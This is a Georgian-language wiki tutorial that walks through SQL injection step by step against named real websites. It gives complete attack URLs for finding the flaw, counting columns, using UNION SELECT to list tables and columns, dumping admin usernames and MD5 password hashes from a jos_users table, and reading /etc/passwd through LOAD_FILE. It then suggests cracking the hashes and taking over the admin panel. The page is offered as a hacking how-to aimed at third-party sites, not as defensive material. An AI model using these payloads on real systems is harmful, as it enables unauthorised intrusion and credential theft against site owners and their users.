SQL Injection - ინექცია SQL მოთხოვნაში

ალბათ ყველა აქედან იწყებს თავის ჰაკერულ ცხოვრებას :D

ჩვენც დავიწყოთ… :D

ჩემი აზრით მაგალითებზე ყველაზე კარგად ვსწავლობთ, ამიტომ ავიღოთ რომელიმე საიტი მაგალითად :)

ნაბიჯი #1. ვეძებთ ბაგს!!...

საიტი შემდეგია:

http://www.kiis.com.ua/?id=2&sp=1

როდესაც მოცემულია მსგავსი ბმულლი (რაღაცა.php?id=რიცხვი), ბაგის საპოვნელად საკმარისია ბმულის ბოლოში ' -ს მიწერა.

http://www.kiis.com.ua/?id=2&sp=1'

თუ საიტი ამოგვიგდებს შეცდომას (ოღონდ არა ნებისმიერს) ესე იგი შეიძლება ინექციის განხორციელება. როგორც ხედავთ ამ შემთხვევაშიც შეგვიძლია ინექციის გაკეთება.

  პატარა გადახვევა: ამ შემთხვევაში პირველი ორი შეცდომა არის **include** ფუნქციის, რომელიც ზოგჯერ
  საშუალებას გვაძლევს განვახორციელოთ **Local/Remote File Inclusion** რომელსაც, იმედია 
  განვიხილავთ შემდეგში.

ნაბიჯი #2. ვითვლით სტოლბებს

ამისათვის ჩვენ შეგვიძლია გამოვიყენოთ order+by ფუნქცია, მაგრამ ამან შეიძლება ყოველთვის არ გაამართლოს და უბრალოდ მოგვიწევს ამ საფეხურის გამოტოვება :)

სტოლბების დათვლა ხდება შემდეგნაირად: ვივარაუდოთ, რომ მოცემულ გვერდს აქვს 10 სტოლბა, ამის შესამოწმებლად ჩვენ ვაკეთებთ შემდეგს…

http://www.kiis.com.ua/?id=2&sp=1+order+by+10--

როგორც ვხედავთ საიტი ისევ გვიჩვენებს შეცდომას, ეს იმას ნიშნავს, რომ გვაქვს 10 სტოლბაზე ნაკლები. ვაგრძელებთ… შემდეგი ვარაუდი 5 სტოლბა…

http://www.kiis.com.ua/?id=2&sp=1+order+by+5--

როგორც ხედავთ საიტი აღარ გვაძლევს იმ შეცდომას, რომელიც საშუალებას გვაძლევს განვახორციელოთ ინექცია (მაპატიეთ ტაფტალოგიისთვის:). ეს იმას ნიშნავს, რომ გვაქვს 5 სტოლბაზე მეტი.

ახლა უკვე ჩვენ ვიცით, რომ გვაქვს 5-ზე მეტი და 10-ზე ნაკლები სტოლბა. ვაგრძელებთ თვლას… ვივარაუდოთ 8 სტოლბა:

http://www.kiis.com.ua/?id=2&sp=1+order+by+8--

ისევ ვხედავთ შეცდომა. ვცადოთ 9 :)

http://www.kiis.com.ua/?id=2&sp=1+order+by+9--

საიტი არ აგდებს შეცდომას. ალბათ მიხვდით რასაც ნიშნავს ეს :) ჩვენ გვაქვს 9 სტოლბა. :)

ნაბიჯი #3. ვიპოვოთ პრინტაბელური სტოლბა

ინფორმაციის გამოსატანად ჩვენ დაგვჭირდება union+select ბრძანება. რადგანაც ჩვენ გვაქვს 9 სტოლბა ჩვენი ბმული მიიღებს შემდეგ სახეს:

http://www.kiis.com.ua/?id=2&sp=1+union+select+1,2,3,4,5,6,7,8,9--

ალბათ შეამჩნიეთ ციფრი 5, რომელიც გაჩნდა ჩვენს გვერდზე. ეს ნიშნავს, რომ პრინტაბული სტოლბა არის 5.

პრინტაბელური სტოლბა საჭიროა იმისათვის, რომ გვერდზე გამოვიყვანოთ ჩვენს მიერ (შემდგომში) მიწოდებული ბრძანების შედეგები.

ნაბიჟი #4. გავიგოთ sql-ის ვერსია

ამისათვის შემოგთავაზებთ ორ ბრძანებას, @@version და version(). პრინტაბელი სტოლბის მაგივრად ჩვენ უნდა ჩავსვათ რომელიმე ამ ბრძანებებისგან, საპასუხოდ კი 5-იანის (პრინტაბელური სტოლბის) ადგილას უნდა გამოვიდეს sql-ის ვერსსია. ვაგრძელებთ… ჩვენმა ბმულმა მიიღო შემდეგი სახე:

http://www.kiis.com.ua/?id=2&sp=1+union+select+1,2,3,4,@@version,6,7,8,9--

sql-ის 4 ვერსიაზე ჩვენ ვერ შევძლებთ table-ებისა და column-ების სახელების გაგებას, ამიტომ მოგვიწევს მათი შერჩევა ხელით. გავაგრძელოთ კითხვა, ამ საკითხს მივუბრუნდები სტატიის ბოლოში.

ამ შემთხვევაში ვხედავთ, რომ sql-ის ვერსიაა 5.x.x.

ნაბიჯი #5. ვეძებთ table-ებს

ეს ნიშნავს, რომ ჩვენ შეგვიძლია გავიგოთ ყველა table და column შემდეგი ბრძანებების საშუალებით…

 group_concat(table_name)    +from+information_schema.tables

ბმული გამოიყურება შემდეგნაირად:

http://www.kiis.com.ua/?id=2&sp=1+union+select+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables--

როგორც ვხედავთ გვერდზე გამოვიდა table-ები, მაგრამ ეს არაა სრული სია. ამ table-ებს შეიძლება დავარქვათ დეფაულტ table-ები, ამიტომ ჩვენ უნდა მოვიხხმარიოთ სხვა ხერხი. ჩვენს ბრძანებას

 group_concat(table_name) უნდა მივცევთ ცოტა განსხვავებული სახე: **concat(table_name)**

ბმული გამოიყუება შემდეგნაირად:

http://www.kiis.com.ua/?id=2&sp=-1+union+select+1,2,3,4,concat(table_name),6,7,8,9+from+information_schema.tables--

გამოყოფს table-ებს ერთმანეთისაგან.

ნაბიჯი #5. ვეძებთ column-ებს

ჩვენ უკვე გავიგეთ table-ების სახელები. ახლა უნდა ამოვარჩიოთ მათგან ყველაზე მიმზიდველი :D ამ შემთხვევაში ალბათ jos_users. ამის შემდეგ ჩვენ უნდა გავიგოთ column-ების სახელები, რომლებიც შეესაბამება ამ table-ს. ამისათვის ჩვენ ვიყენებთ შემდეგ ბრძანებას:

 group_concat(column_name)  +from+information_schema.columns+where+table_name=0xTable

სადაც Table ჩვენი არჩეული ცხრილის ჰექსია. ტექსტის ჰექსებში გადაყვანა შეგიძლიათ ამ ბმულზე.

ჩვენს შემთხვევაში group_concat ბრძანება არ მუშაობს გამართულად, ამიტომ აქაც ვიყენებთ მას სახეცვლილი ფორმით: concat(column_name)

ამ დროისთვის ჩვენი ბმული იღებს ასეთ სახეს:

http://www.kiis.com.ua/?id=2&sp=-1+union+select+1,2,3,4,concat(column_name),6,7,8,9+from+information_schema.columns+where+table_name=0x6a6f735f7573657273--

6a6f735f7573657273 jos_users-ის ჰექსია.

ნაბიჯი #6. ინფორმაციის ამოღება

ჩვენ უკვე ვიცით jos_users table-ს შესაბამისი column-ები. ახლა უნდა ავირჩიოთ მათგან რამოდენიმე, ჩვენთვის საინტერესო. ამ შემთხვევაში გვაინტერესებს username და password. jos_users table-სგან რომ მოვიპოვოთ ინფორმაცია username-სა და password-ების შესახებ ვაკეთებთ შემდეგს:

http://www.kiis.com.ua/?id=2&sp=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9+from+jos_users--

3a არის : -ის ჰექსი (სტანდარტულად, ჰექსის წინ იწერება 0x). ანუ - ჯერ უნდა გამოვიდეს username, შემდეგ : შემდეგ კი password.

ამ ბმულის მეშვეობით ჩვენ შევძელით ადმინის, ტესტ ადმინის და PR მენეჯერის იუზერნეიმებისა და პაროლების გამოტანა. პაროლი არის დაკრიპტული, MD5 ალგორითმით. მისი გაკრეკვა შეიძლება სხვადასხვა პროგრამების დახმარებით, ასევე არსებობს ონლაინ კრეკერები.

პაროლის გარკეკვის შემდეგ, შეგვიძლია მოვძებნოთ საიტის ადმინ პანელი და გამოვიყენოთ ადმინის ფუნქციები.

მივუბრუნდეთ 4.x.x sql-ის ვერსიის შემთხვევას. ესეთ შემთხვევაში ჩვენ ვერ გავიგებდით table-ებისა და column-ების სახელებს და მოგვიწევდა მათი ხელით, ან რაიმე პროგრამით მორგება. ეს კი მტკივნეული პროცესია და არც ისე დიდია გამართლების შანსი.

ნაბიჯი #7. Load File ფუნქციის შესახებ

არის ისეთი შემთხვევებიც როცა ჩვენ შეგვიძლია სხვადასხვა ფაილების წაკითხვა სერვერზე, ინექციის საშუალებით. მგონი საკმარისი იქნება ერთი მაგალითის ჩვენება… და აი ისიც:

http://wwww.breakfastandbrunch.com/shop.php?catid=-2+union+select+LOAD_FILE('/etc/passwd')--

პრინტაბელური სტოლბის ადგილას უნდა ჩავწეროთ მაგალითად, LOAD_FILE('/etc/passwd') ან LOAD_FILE('/etc/hosts')

http://www.breakfastandbrunnch.com/shop.php?catid=-2+union+select+LOAD_FILE('/etc/hosts')--

აქაც შესაძლებელია ჰექსების გამოყენება, მაგალითად:

http://www.breakfastandbrunch.com/shop.php?catid=-2+union+select+LOAD_FILE(0x2f6574632f706173737764)--

სულ ეს იყო.

მადლობა HektoR-ს რითმისთვის :D

გმადლობთ ყურადღებისთვის.

ქსელი/http/sql_ინექცია/ტუტორიალი1.txt · Last modified: 2012/06/03 14:45 by dzvelivereli
Back to top
Public Domain
chimeric.de = chi`s home Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0